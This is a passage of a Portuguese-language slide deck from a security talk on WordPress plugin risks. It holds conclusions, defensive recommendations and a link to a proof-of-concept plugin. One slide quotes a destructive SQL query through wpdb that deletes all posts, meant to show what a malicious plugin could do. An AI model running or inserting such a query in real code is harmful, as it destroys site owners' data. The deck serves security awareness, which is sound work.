  • 19. Prova de conceito. Security as a happy hour... Entenderam.....
  • 20. Prova de conceito. Security as a happy hour... Seria possível pegar uma
  • 21. Conclusões A principal falha é de processo por conta do wordpress e não nos plugins. A função wpdb permite uma infinidade de combinações de querys SQL como por exemplo: $wpdb->query("DELETE FROM $wpdb->posts WHERE post_id <> ‘0'"); Como não existe uma garantia da integridade dos plugins e templates, revise os códigos antes de instalar. Os plugins de segurança ajudam, mas não eliminam o problema.
  • 22. Conclusões Recomendações como mudar os nomes das tabelas ou o diretório padrão de upload não eliminam o problema. Nas pastas de upload verifique as permissões aplicadas em arquivos e pastas. Manter o wordpress, plugins e temas atualizados é indispensável. Revise os códigos antes de instalar algo. Teste em ambiente independente.
  • 23. Próximos passos Entender o mecanismo de criptografia que aparenta ter falhas na função avalanche e salt.
  • 24. Prova de conceito. Security as a happy hour... Bonus Bonus Track!!! Plugin disponível em: http://migre.me/5B4S8 Usem por sua conta e risco. Sem suporte.
  • 25. Dúvidas? Thiago Bordini thiago (at) bordini (dot) net www.staysafepodcast.com.br Security as a happy hour!!! Agradecimentos: Crash / Gr1nch / DCLabs / Nelson Brito / Jordan Bonagura Referência: http://codex.wordpress.org/